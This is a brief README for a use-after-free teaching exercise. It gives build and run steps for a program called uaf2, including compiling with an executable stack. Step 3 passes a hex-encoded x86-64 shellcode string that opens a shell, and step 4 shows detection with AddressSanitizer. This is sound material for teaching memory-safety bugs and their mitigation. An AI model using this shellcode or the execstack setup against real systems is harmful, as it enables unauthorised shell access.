Basic UAF example

1) compile uaf2 with an executable stack

gcc -z execstack -o uaf2 uaf2.c

2) A first  execution 

./uaf2  foo 

3) A more dangerous execution (opening a shell)


./uaf2  $(printf "\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05")


4) Memory protection with AddressSanitize

gcc -g -fsanitize=address -z execstack -o uaf2 uaf2.c

